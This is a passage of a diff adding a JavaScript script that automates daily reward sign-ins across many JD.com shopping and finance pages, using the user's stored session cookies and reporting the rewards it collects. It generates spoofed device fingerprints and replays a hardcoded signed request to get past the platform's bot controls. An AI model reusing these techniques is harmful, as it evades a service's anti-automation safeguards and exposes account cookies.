'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 + await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第114行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongTurn(s) { + merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise((resolve, reject) => { + if (disable("JDTurn")) return reject() + const JDTUrl = { + url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data).data.lotteryCode + const Details = LogDetails ? "response:\n" + data : ''; + if (cc) { + console.log("\n" + "京东商城-转盘查询成功 " + Details) + return resolve(cc) + } else { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" + merge.JDTurn.fail = 1 + console.log("\n" + "京东商城-转盘查询失败 " + Details) + } + } + } catch (eor) { + $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) + } finally { + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JingDongTurnSign(s, data); + }, () => {}); +} + +function JingDongTurnSign(s, code) { + return new Promise(resolve => { + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=lotteryDraw&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%2C%22lotteryCode%22%3A%22${code}%22%7D&appid=ld`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/(京豆|\"910582\")/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += Number(cc.data.prizeSendNumber) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${cc.data.prizeSendNumber||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.data.chances != "0") { + await JingDongTurnSign(2000, code) + } + } else if (data.match(/未中奖/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.data.chances != "0") { + await JingDongTurnSign(2000, code) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(T215|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=qRKHmL4sna8ZOP9F`, + headers: { + Cookie: KEY + } + }, async function(error, response, data) { + try { + if(data) { + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${tid}/index.html`) + fp = ss.fp + await getEid(ss, title) + } + } + } + } catch(eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=qRKHmL4sna8ZOP9F', + headers: { + Cookie: KEY + }, + body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if 